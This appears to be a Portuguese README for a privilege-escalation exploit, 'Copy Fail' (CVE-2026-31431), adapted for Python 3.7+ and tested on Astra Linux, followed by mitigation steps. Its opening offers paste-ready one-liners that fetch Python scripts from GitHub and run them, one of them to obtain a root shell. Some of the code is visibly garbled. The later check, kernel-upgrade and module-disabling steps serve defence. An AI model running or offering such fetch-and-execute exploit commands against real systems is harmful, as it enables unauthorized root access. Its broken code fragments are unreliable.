
Detecta e explora a escalada de privilégios local CVE-2026-31431 (Copy Fail) no Astra Linux, com compatibilidade com Python 3.7+ e implantação em uma única linha.
Verificação segura sem exploração:
curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/detect.py | python3
Exploração (quando solicitado, será necessário inserir a senha do usuário)
python3 -c "$(curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/exp.py)" --shell
Este é um fork adaptado para Python 3.7, 3.8, 3.9, 3.10, 3.11.
Os exploits originais exigem Python 3.12+ devido ao uso de os.splice().
# ❌ Exploit original (apenas Python 3.12+)
os.splice(fd_in, fd_out, length, offset_src=offset)
# AttributeError: module 'os' has no attribute 'splice'
os.splice()###Exploração no Astra Linux
A vulnerabilidade foi verificada no Astra Linux. O módulo algif_aead está presente, e a exploração permite obter acesso ao sudo e elevar privilégios para root.
No entanto, com o controle de acesso mandatório (CAM/Parsec) habilitado, não é possível tornar-se superadministrador (nível 63 / função astra-admin): os rótulos mandatórios restringem os privilégios até mesmo do processo root, e a política de segurança não permite cruzar os níveis de confidencialidade estabelecidos.
Portanto: 🔴 Sistemas Astra Linux sem CAM ou com CAM desabilitado — totalmente vulneráveis. 🟡 Sistemas com CAM habilitado — parcialmente protegidos: obter root é possível, mas as capacidades reais do atacante são limitadas pela política mandatória.
Em ambos os casos, ao detectar a vulnerabilidade, a aplicação das medidas dos itens 2 ou 3 é obrigatória.
━━━━━━━━━━━━━━━
Em cada servidor, é necessário executar o seguinte comando. Ele não faz nenhuma alteração no sistema e apenas verifica se o módulo vulnerável está disponível.
Conectar ao servidor e executar em uma única linha:
python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("\n" + "*"30 + "\n** VULNERÁVEL **\n" + ""*30)'
🔴 Se a palavra VULNERÁVEL aparecer na tela — o servidor está suscetível à vulnerabilidade, é necessário prosseguir para o item 2. 🟢 Se uma mensagem de erro do Python aparecer — o servidor não está suscetível à vulnerabilidade, nenhuma ação adicional é necessária.
━━━━━━━━━━━━━━━ 2. Solução principal — atualização do kernel
É necessário atualizar o kernel para uma versão que contenha a correção: 6.18.22, 6.19.12 ou mais recente. Até a atualização, a desativação do módulo do item 3 garante a proteção.
Para Debian / Ubuntu / Astra Linux:
apt-get update apt-get dist-upgrade reboot
Após a reinicialização, é obrigatório verificar se o novo kernel foi realmente carregado:
uname -r
Se o comando mostrar uma versão inferior a 6.18.22 — o kernel não foi atualizado ou o sistema inicializou com uma imagem antiga. Nesse caso, é necessário garantir que a atualização foi instalada (apt-get dist-upgrade não retornou erros) e repetir a reinicialização.
⚠️ Astra Linux 1.7.x: Até o lançamento da atualização, a única medida de proteção é a desativação do módulo do item 3. Para obter o patch, recomenda-se entrar em contato com o suporte técnico do Astra Linux pelo painel pessoal.
━━━━━━━━━━━━━━━ 3. Medida temporária de proteção — desativação do módulo vulnerável
Se a atualização do kernel não for possível no momento, como medida temporária recomenda-se desativar o módulo vulnerável. A operação não exige reinicialização e entra em vigor imediatamente. Antes da aplicação, recomenda-se testar as alterações em um ambiente de teste: em casos raros, alguns serviços podem usar esse módulo diretamente.
Comando para desativar o módulo. Executar como root (ou via sudo):
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
O primeiro comando proíbe o carregamento do módulo nas próximas inicializações. O segundo o descarrega agora, se estiver carregado. Um erro no segundo comando é normal, significa que o módulo já não estava ativo.